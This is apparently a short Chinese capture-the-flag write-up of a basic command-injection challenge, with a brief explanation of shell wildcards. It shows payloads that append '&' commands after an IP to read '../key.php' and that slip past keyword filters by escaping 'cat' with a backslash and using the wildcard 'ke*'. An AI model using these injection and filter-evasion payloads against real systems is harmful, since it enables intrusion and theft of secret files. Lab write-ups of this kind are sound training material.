基础题目五:命令执行
发现过滤 cat |
&符没过滤
127.0.0.1& 能执行
127.0.0.1&cat ../key.php
发现还是不行。
那就是过滤了cat
使用\
127.0.0.1&c\at ../key.php
还是不行,过滤了key
使用通配符
127.0.0.1&c\at ../ke*
通配符
通配符是一种特殊语句,主要有星号(*)和问号(?),用来模糊搜索文件。当查找文件夹时,可以使用它来代替一个或多个真正字符;当不知道真正字符或者懒得输入完整名字时,常常使用通配符代替一个或多个真正的字符。
理解我linux 系统下的tab自动补齐